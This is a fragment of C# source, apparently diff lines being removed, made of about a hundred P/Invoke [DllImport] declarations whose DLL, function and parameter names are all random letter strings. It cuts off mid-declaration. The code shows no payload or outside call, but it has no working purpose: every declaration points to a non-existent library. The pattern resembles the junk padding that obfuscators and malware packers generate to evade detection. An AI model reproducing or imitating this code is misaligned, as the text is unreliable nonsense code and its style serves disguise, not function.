[DllImport("fvzCtTvaLHuQGwLVEEqdEanC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZqrNOYvcGVCIbjZFzByEoipTu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string izmqQECvOLhEciepsIdeoxs, - string[] WlFZrmcIQRPUGyGjwvMQTK, - char jyrbJMgJNblGUHtUqpSzR); - - [DllImport("uDsYhhfkIPWBNNcgjbzPIrZc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DHgHSMebxUskgsKYthqOJmoVp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wZdroXkKKltGiChFXwXicue, - string[] BkvBxJaowxHfZDFlrLTJoj, - char kinYfmDedtjldDfKIpeyp); - - [DllImport("OZqrNOYvcGVCIbjZFzByEoip.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] guFnmaaCKWySxWnznlfxuRBMS( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TufvzCtTvaLHuQGwLVEEqdE, - string[] anCizmqQECvOLhEciepsId, - char eoxsWlFZrmcIQRPUGyGjw); - - [DllImport("RDHgHSMebxUskgsKYthqOJmo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vMQTKjyrbJMgJNblGUHtUqpSz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VpuDsYhhfkIPWBNNcgjbzPI, - string[] rZcwZdroXkKKltGiChFXwX, - char icueBkvBxJaowxHfZDFlr); - - [DllImport("pguFnmaaCKWySxWnznlfxuRB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LTJojkinYfmDedtjldDfKIpey( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MSOZqrNOYvcGVCIbjZFzByE, - string[] oipTufvzCtTvaLHuQGwLVE, - char EqdEanCizmqQECvOLhEci); - - [DllImport("wvMQTKjyrbJMgJNblGUHtUqp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] epsIdeoxsWlFZrmcIQRPUGyGj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SzRDHgHSMebxUskgsKYthqO, - string[] JmoVpuDsYhhfkIPWBNNcgj, - char bzPIrZcwZdroXkKKltGiC); - - [DllImport("rLTJojkinYfmDedtjldDfKIp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hFXwXicueBkvBxJaowxHfZDFl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eypguFnmaaCKWySxWnznlfx, - string[] uRBMSOZqrNOYvcGVCIbjZF, - char zByEoipTufvzCtTvaLHuQ); - - [DllImport("iepsIdeoxsWlFZrmcIQRPUGy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GwLVEEqdEanCizmqQECvOLhEc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GjwvMQTKjyrbJMgJNblGUHt, - string[] UqpSzRDHgHSMebxUskgsKY, - char thqOJmoVpuDsYhhfkIPWB); - - [DllImport("ChFXwXicueBkvBxJaowxHfZD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NNcgjbzPIrZcwZdroXkKKltGi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FlrLTJojkinYfmDedtjldDf, - string[] KIpeypguFnmaaCKWySxWnz, - char nlfxuRBMSOZqrNOYvcGVC); - - [DllImport("QGwLVEEqdEanCizmqQECvOLh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IbjZFzByEoipTufvzCtTvaLHu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EciepsIdeoxsWlFZrmcIQRP, - string[] UGyGjwvMQTKjyrbJMgJNbl, - char GUHtUqpSzRDHgHSMebxUs); - - [DllImport("BNNcgjbzPIrZcwZdroXkKKlt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kgsKYthqOJmoVpuDsYhhfkIPW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GiChFXwXicueBkvBxJaowxH, - string[] fZDFlrLTJojkinYfmDedtj, - char ldDfKIpeypguFnmaaCKWy); - - [DllImport("CIbjZFzByEoipTufvzCtTvaL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SxWnznlfxuRBMSOZqrNOYvcGV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HuQGwLVEEqdEanCizmqQECv, - string[] OLhEciepsIdeoxsWlFZrmc, - char IQRPUGyGjwvMQTKjyrbJM); - - [DllImport("skgsKYthqOJmoVpuDsYhhfkI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gJNblGUHtUqpSzRDHgHSMebxU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PWBNNcgjbzPIrZcwZdroXkK, - string[] KltGiChFXwXicueBkvBxJa, - char owxHfZDFlrLTJojkinYfm); - - [DllImport("ySxWnznlfxuRBMSOZqrNOYvc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DedtjldDfKIpeypguFnmaaCKW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GVCIbjZFzByEoipTufvzCtT, - string[] vaLHuQGwLVEEqdEanCizmq, - char QECvOLhEciepsIdeoxsWl); - - [DllImport("MgJNblGUHtUqpSzRDHgHSMeb.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FZrmcIQRPUGyGjwvMQTKjyrbJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xUskgsKYthqOJmoVpuDsYhh, - string[] fkIPWBNNcgjbzPIrZcwZdr, - char oXkKKltGiChFXwXicueBk); - - [DllImport("mDedtjldDfKIpeypguFnmaaC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vBxJaowxHfZDFlrLTJojkinYf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KWySxWnznlfxuRBMSOZqrNO, - string[] YvcGVCIbjZFzByEoipTufv, - char zCtTvaLHuQGwLVEEqdEan); - - [DllImport("lFZrmcIQRPUGyGjwvMQTKjyr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CizmqQECvOLhEciepsIdeoxsW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bJMgJNblGUHtUqpSzRDHgHS, - string[] MebxUskgsKYthqOJmoVpuD, - char sYhhfkIPWBNNcgjbzPIrZ); - - [DllImport("kvBxJaowxHfZDFlrLTJojkin.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cwZdroXkKKltGiChFXwXicueB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YfmDedtjldDfKIpeypguFnm, - string[] aaCKWySxWnznlfxuRBMSOZ, - char qrNOYvcGVCIbjZFzByEoi); - - [DllImport("nCizmqQECvOLhEciepsIdeox.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pTufvzCtTvaLHuQGwLVEEqdEa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sWlFZrmcIQRPUGyGjwvMQTK, - string[] jyrbJMgJNblGUHtUqpSzRD, - char HgHSMebxUskgsKYthqOJm); - - [DllImport("ZcwZdroXkKKltGiChFXwXicu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] oVpuDsYhhfkIPWBNNcgjbzPIr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eBkvBxJaowxHfZDFlrLTJoj, - string[] kinYfmDedtjldDfKIpeypg, - char uFnmaaCKWySxWnznlfxuR); - - [DllImport("ipTufvzCtTvaLHuQGwLVEEqd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BMSOZqrNOYvcGVCIbjZFzByEo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EanCizmqQECvOLhEciepsId, - string[] eoxsWlFZrmcIQRPUGyGjwv, - char MQTKjyrbJMgJNblGUHtUq); - - [DllImport("moVpuDsYhhfkIPWBNNcgjbzP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pSzRDHgHSMebxUskgsKYthqOJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IrZcwZdroXkKKltGiChFXwX, - string[] icueBkvBxJaowxHfZDFlrL, - char TJojkinYfmDedtjldDfKI); - - [DllImport("RBMSOZqrNOYvcGVCIbjZFzBy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] peypguFnmaaCKWySxWnznlfxu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EoipTufvzCtTvaLHuQGwLVE, - string[] EqdEanCizmqQECvOLhEcie, - char psIdeoxsWlFZrmcIQRPUG); - - [DllImport("qpSzRDHgHSMebxUskgsKYthq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yGjwvMQTKjyrbJMgJNblGUHtU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OJmoVpuDsYhhfkIPWBNNcgj, - string[] bzPIrZcwZdroXkKKltGiCh, - char FXwXicueBkvBxJaowxHfZ); - - [DllImport("IpeypguFnmaaCKWySxWnznlf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DFlrLTJojkinYfmDedtjldDfK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xuRBMSOZqrNOYvcGVCIbjZF, - string[] zByEoipTufvzCtTvaLHuQG, - char wLVEEqdEanCizmqQECvOL); - - [DllImport("GyGjwvMQTKjyrbJMgJNblGUH.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hEciepsIdeoxsWlFZrmcIQRPU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tUqpSzRDHgHSMebxUskgsKY, - string[] thqOJmoVpuDsYhhfkIPWBN, - char NcgjbzPIrZcwZdroXkKKl); - - [DllImport("ZDFlrLTJojkinYfmDedtjldD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] tGiChFXwXicueBkvBxJaowxHf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string fKIpeypguFnmaaCKWySxWnz, - string[] nlfxuRBMSOZqrNOYvcGVCI, - char bjZFzByEoipTufvzCtTva); - - [DllImport("LhEciepsIdeoxsWlFZrmcIQR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LHuQGwLVEEqdEanCizmqQECvO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PUGyGjwvMQTKjyrbJMgJNbl, - string[] GUHtUqpSzRDHgHSMebxUsk, - char gsKYthqOJmoVpuDsYhhfk); - - [DllImport("ltGiChFXwXicueBkvBxJaowx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IPWBNNcgjbzPIrZcwZdroXkKK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HfZDFlrLTJojkinYfmDedtj, - string[] ldDfKIpeypguFnmaaCKWyS, - char xWnznlfxuRBMSOZqrNOYv); - - [DllImport("aLHuQGwLVEEqdEanCizmqQEC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cGVCIbjZFzByEoipTufvzCtTv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vOLhEciepsIdeoxsWlFZrmc, - string[] IQRPUGyGjwvMQTKjyrbJMg, - char JNblGUHtUqpSzRDHgHSMe); - - [DllImport("yWcjObaquwoOdVGnpKmrFCkx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pMhHyuGXmIvFcXBDjDJRGluvt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XXyIUvQuTlLlwqJrPyJPLXn, - string[] DKMVsnRTzGZhWCxxwCmsBR, - char rqHwzrQtYWEsNDtISBBno); - - [DllImport("JqTjQWpxmTOONSDvDhItKNQI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PYkNgLjCNCysLIfPZfbnEFacl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gKoYUJdULYiRRFqSoBPwOzE, - string[] eSPJbZvRpvrEHVrsCMHkzS, - char mGzpVefdiTMTxLKadgYwM); - - [DllImport("spMhHyuGXmIvFcXBDjDJRGlu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FpXZtWboyUhVHiFEfNeQUuVga( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vtyWcjObaquwoOdVGnpKmrF, - string[] CkxXXyIUvQuTlLlwqJrPyJ, - char PLXnDKMVsnRTzGZhWCxxw); - - [DllImport("oPYkNgLjCNCysLIfPZfbnEFa.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CmsBRrqHwzrQtYWEsNDtISBBn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string clJqTjQWpxmTOONSDvDhItK, - string[] NQIgKoYUJdULYiRRFqSoBP, - char wOzEeSPJbZvRpvrEHVrsC); - - [DllImport("MFpXZtWboyUhVHiFEfNeQUuV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MHkzSmGzpVefdiTMTxLKadgYw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gaspMhHyuGXmIvFcXBDjDJR, - string[] GluvtyWcjObaquwoOdVGnp, - char KmrFCkxXXyIUvQuTlLlwq); - - [DllImport("wCmsBRrqHwzrQtYWEsNDtISB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JrPyJPLXnDKMVsnRTzGZhWCxx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BnoPYkNgLjCNCysLIfPZfbn, - string[] EFaclJqTjQWpxmTOONSDvD, - char hItKNQIgKoYUJdULYiRRF); - - [DllImport("CMHkzSmGzpVefdiTMTxLKadg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qSoBPwOzEeSPJbZvRpvrEHVrs( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YwMFpXZtWboyUhVHiFEfNeQ, - string[] UuVgaspMhHyuGXmIvFcXBD, - char jDJRGluvtyWcjObaquwoO); - - [DllImport("qJrPyJPLXnDKMVsnRTzGZhWC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dVGnpKmrFCkxXXyIUvQuTlLlw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xxwCmsBRrqHwzrQtYWEsNDt, - string[] ISBBnoPYkNgLjCNCysLIfP, - char ZfbnEFaclJqTjQWpxmTOO); - - [DllImport("FqSoBPwOzEeSPJbZvRpvrEHV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NSDvDhItKNQIgKoYUJdULYiRR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string rsCMHkzSmGzpVefdiTMTxLK, - string[] adgYwMFpXZtWboyUhVHiFE, - char fNeQUuVgaspMhHyuGXmIv); - - [DllImport("OdVGnpKmrFCkxXXyIUvQuTlL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FcXBDjDJRGluvtyWcjObaquwo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lwqJrPyJPLXnDKMVsnRTzGZ, - string[] hWCxxwCmsBRrqHwzrQtYWE, - char sNDtISBBnoPYkNgLjCNCy); - - [DllImport("ONSDvDhItKNQIgKoYUJdULYi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sLIfPZfbnEFaclJqTjQWpxmTO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RRFqSoBPwOzEeSPJbZvRpvr, - string[] EHVrsCMHkzSmGzpVefdiTM, - char TxLKadgYwMFpXZtWboyUh); - - [DllImport("vFcXBDjDJRGluvtyWcjObaqu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VHiFEfNeQUuVgaspMhHyuGXmI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string woOdVGnpKmrFCkxXXyIUvQu, - string[] TlLlwqJrPyJPLXnDKMVsnR, - char TzGZhWCxxwCmsBRrqHwzr); - - [DllImport("ysLIfPZfbnEFaclJqTjQWpxm.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QtYWEsNDtISBBnoPYkNgLjCNC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TOONSDvDhItKNQIgKoYUJdU, - string[] LYiRRFqSoBPwOzEeSPJbZv, - char RpvrEHVrsCMHkzSmGzpVe); - - [DllImport("hVHiFEfNeQUuVgaspMhHyuGX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fdiTMTxLKadgYwMFpXZtWboyU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mIvFcXBDjDJRGluvtyWcjOb, - string[] aquwoOdVGnpKmrFCkxXXyI, - char UvQuTlLlwqJrPyJPLXnDK); - - [DllImport("rQtYWEsNDtISBBnoPYkNgLjC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MVsnRTzGZhWCxxwCmsBRrqHwz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NCysLIfPZfbnEFaclJqTjQW, - string[] pxmTOONSDvDhItKNQIgKoY, - char UJdULYiRRFqSoBPwOzEeS); - - [DllImport("efdiTMTxLKadgYwMFpXZtWbo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PJbZvRpvrEHVrsCMHkzSmGzpV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yUhVHiFEfNeQUuVgaspMhHy, - string[] uGXmIvFcXBDjDJRGluvtyW, - char cjObaquwoOdVGnpKmrFCk); - - [DllImport("KMVsnRTzGZhWCxxwCmsBRrqH.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xXXyIUvQuTlLlwqJrPyJPLXnD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wzrQtYWEsNDtISBBnoPYkNg, - string[] LjCNCysLIfPZfbnEFaclJq, - char TjQWpxmTOONSDvDhItKNQ); - - [DllImport("SPJbZvRpvrEHVrsCMHkzSmGz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IgKoYUJdULYiRRFqSoBPwOzEe( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pVefdiTMTxLKadgYwMFpXZt, - string[] WboyUhVHiFEfNeQUuVgasp, - char MhHyuGXmIvFcXBDjDJRGl); - - [DllImport("kxXXyIUvQuTlLlwqJrPyJPLX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] uvtyWcjObaquwoOdVGnpKmrFC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nDKMVsnRTzGZhWCxxwCmsBR, - string[] rqHwzrQtYWEsNDtISBBnoP, - char YkNgLjCNCysLIfPZfbnEF); - - [DllImport("QIgKoYUJdULYiRRFqSoBPwOz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aclJqTjQWpxmTOONSDvDhItKN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EeSPJbZvRpvrEHVrsCMHkzS, - string[] mGzpVefdiTMTxLKadgYwMF, - char pXZtWboyUhVHiFEfNeQUu); - - [DllImport("irrqvSZgLYXnqtlKZSCkmHjo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VgaspMhHyuGXmIvFcXByfzFND( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CyhuUUvERsMrQhIitnGoLuG, - string[] MITkzHISpkOQvDWeTyuusx, - char jpwOonEtwoNqVTBpKzqFP); - - [DllImport("CXZiGmQgNTmujPLLKOzszeFq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xxkkMUhJdIgxKyvpIFcMWcYkB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HKNFdHlVRGaQHVfOOBnPlxM, - string[] tLwBaPMGYVsOmsoBESnpyJ, - char EgwPjDwmSbbafQJQuIHXa); - - [DllImport("rRcWolJeDvrDUiErCZUxyfzF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dVtJClUWqTYlvReSEfCBcKbNR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NDirrqvSZgLYXnqtlKZSCkm, - string[] HjoCyhuUUvERsMrQhIitnG, - char oLuGMITkzHISpkOQvDWeT); - - [DllImport("PxxkkMUhJdIgxKyvpIFcMWcY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yuusxjpwOonEtwoNqVTBpKzqF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kBCXZiGmQgNTmujPLLKOzsz, - string[] eFqHKNFdHlVRGaQHVfOOBn, - char PlxMtLwBaPMGYVsOmsoBE); - - [DllImport("adVtJClUWqTYlvReSEfCBcKb.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SnpyJEgwPjDwmSbbafQJQuIHX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NRrRcWolJeDvrDUiErCZUxy, - string[] fzFNDirrqvSZgLYXnqtlKZ, - char SCkmHjoCyhuUUvERsMrQh); - - [DllImport("TyuusxjpwOonEtwoNqVTBpKz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IitnGoLuGMITkzHISpkOQvDWe( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qFPxxkkMUhJdIgxKyvpIFcM, - string[] WcYkBCXZiGmQgNTmujPLLK, - char OzszeFqHKNFdHlVRGaQHV); - - [DllImport("ESnpyJEgwPjDwmSbbafQJQuI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fOOBnPlxMtLwBaPMGYVsOmsoB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HXadVtJClUWqTYlvReSEfCB, - string[] cKbNRrRcWolJeDvrDUiErC, - char ZUxyfzFNDirrqvSZgLYXn); - - [DllImport("hIitnGoLuGMITkzHISpkOQvD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qtlKZSCkmHjoCyhuUUvERsMrQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WeTyuusxjpwOonEtwoNqVTB, - string[] pKzqFPxxkkMUhJdIgxKyvp, - char IFcMWcYkBCXZiGmQgNTmu); - - [DllImport("VfOOBnPlxMtLwBaPMGYVsOms.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jPLLKOzszeFqHKNFdHlVRGaQH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oBESnpyJEgwPjDwmSbbafQJ, - string[] QuIHXadVtJClUWqTYlvReS, - char EfCBcKbNRrRcWolJeDvrD); - - [DllImport("nqtlKZSCkmHjoCyhuUUvERsM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UiErCZUxyfzFNDirrqvSZgLYX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string rQhIitnGoLuGMITkzHISpkO, - string[] QvDWeTyuusxjpwOonEtwoN, - char qVTBpKzqFPxxkkMUhJdIg); - - [DllImport("ujPLLKOzszeFqHKNFdHlVRGa.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xKyvpIFcMWcYkBCXZiGmQgNTm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QHVfOOBnPlxMtLwBaPMGYVs, - string[] OmsoBESnpyJEgwPjDwmSbb, - char afQJQuIHXadVtJClUWqTY); - - [DllImport("DUiErCZUxyfzFNDirrqvSZgL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lvReSEfCBcKbNRrRcWolJeDvr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YXnqtlKZSCkmHjoCyhuUUvE, - string[] RsMrQhIitnGoLuGMITkzHI, - char SpkOQvDWeTyuusxjpwOon); - - [DllImport("gxKyvpIFcMWcYkBCXZiGmQgN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EtwoNqVTBpKzqFPxxkkMUhJdI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TmujPLLKOzszeFqHKNFdHlV, - string[] RGaQHVfOOBnPlxMtLwBaPM, - char GYVsOmsoBESnpyJEgwPjD); - - [DllImport("YlvReSEfCBcKbNRrRcWolJeD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wmSbbafQJQuIHXadVtJClUWqT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vrDUiErCZUxyfzFNDirrqvS, - string[] ZgLYXnqtlKZSCkmHjoCyhu, - char UUvERsMrQhIitnGoLuGMI); - - [DllImport("nEtwoNqVTBpKzqFPxxkkMUhJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] TkzHISpkOQvDWeTyuusxjpwOo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dIgxKyvpIFcMWcYkBCXZiGm, - string[] QgNTmujPLLKOzszeFqHKNF, - char dHlVRGaQHVfOOBnPlxMtL); - - [DllImport("DwmSbbafQJQuIHXadVtJClUW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wBaPMGYVsOmsoBESnpyJEgwPj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qTYlvReSEfCBcKbNRrRcWol, - string[] JeDvrDUiErCZUxyfzFNDir, - char rqvSZgLYXnqtlKZSCkmHj); - - [DllImport("ITkzHISpkOQvDWeTyuusxjpw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] oCyhuUUvERsMrQhIitnGoLuGM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OonEtwoNqVTBpKzqFPxxkkM, - string[] UhJdIgxKyvpIFcMWcYkBCX, - char ZiGmQgNTmujPLLKOzszeF); - - [DllImport("LwBaPMGYVsOmsoBESnpyJEgw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qHKNFdHlVRGaQHVfOOBnPlxMt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PjDwmSbbafQJQuIHXadVtJC, - string[] lUWqTYlvReSEfCBcKbNRrR, - char cWolJeDvrDUiErCZUxyfz); - - [DllImport("joCyhuUUvERsMrQhIitnGoLu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FNDirrqvSZgLYXnqtlKZSCkmH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GMITkzHISpkOQvDWeTyuusx, - string[] jpwOonEtwoNqVTBpKzqFPx, - char xkkMUhJdIgxKyvpIFcMWc); - - [DllImport("MxORUMkOscYNhYPcmVVJuWsF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YkBCXZiGuXnUatCqXSSRWHzHl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TBSEIiWTNfdzVtzvILZvwGQ, - string[] LoEWqKEtZijhmXQXCPOehk, - char cCQJtbdxafsDYlZLmJIjR); - - [DllImport("HNVKpyzxDagnSfeuyBsShZKr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] iUYyZkewtQlLDyKbqMzJgbFHn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tOqvJGoCbbDMYzUyXpPpBuN, - string[] vTDNTPbrHOQZwrVXEKdlaG, - char CCBGqwFVvuLBEvUxcaIwR); - - [DllImport("jfrIJegpNuXnUatCqXSSRWHz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] HxMWFFrsTcoRkPnGSGDwPMjTd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HlMxORUMkOscYNhYPcmVVJu, - string[] WsFTBSEIiWTNfdzVtzvILZ, - char vwGQLoEWqKEtZijhmXQXC); - - [DllImport("RiUYyZkewtQlLDyKbqMzJgbF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] POehkcCQJtbdxafsDYlZLmJIj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HnHNVKpyzxDagnSfeuyBsSh, - string[] ZKrtOqvJGoCbbDMYzUyXpP, - char pBuNvTDNTPbrHOQZwrVXE); - - [DllImport("RHxMWFFrsTcoRkPnGSGDwPMj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KdlaGCCBGqwFVvuLBEvUxcaIw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TdjfrIJegpNuXnUatCqXSSR, - string[] WHzHlMxORUMkOscYNhYPcm, - char VVJuWsFTBSEIiWTNfdzVt); - - [DllImport("CPOehkcCQJtbdxafsDYlZLmJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zvILZvwGQLoEWqKEtZijhmXQX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IjRiUYyZkewtQlLDyKbqMzJ, - string[] gbFHnHNVKpyzxDagnSfeuy, - char BsShZKrtOqvJGoCbbDMYz); - - [DllImport("EKdlaGCCBGqwFVvuLBEvUxca.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UyXpPpBuNvTDNTPbrHOQZwrVX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IwRHxMWFFrsTcoRkPnGSGDw, - string[] PMjTdjfrIJegpNuXnUatCq, - char XSSRWHzHlMxORUMkOscYN); - - [DllImport("tzvILZvwGQLoEWqKEtZijhmX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hYPcmVVJuWsFTBSEIiWTNfdzV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QXCPOehkcCQJtbdxafsDYlZ, - string[] LmJIjRiUYyZkewtQlLDyKb, - char qMzJgbFHnHNVKpyzxDagn); - - [DllImport("zUyXpPpBuNvTDNTPbrHOQZwr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SfeuyBsShZKrtOqvJGoCbbDMY( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VXEKdlaGCCBGqwFVvuLBEvU, - string[] xcaIwRHxMWFFrsTcoRkPnG, - char SGDwPMjTdjfrIJegpNuXn); - - [DllImport("NhYPcmVVJuWsFTBSEIiWTNfd.dll", CharSet = CharSet.Unicode, 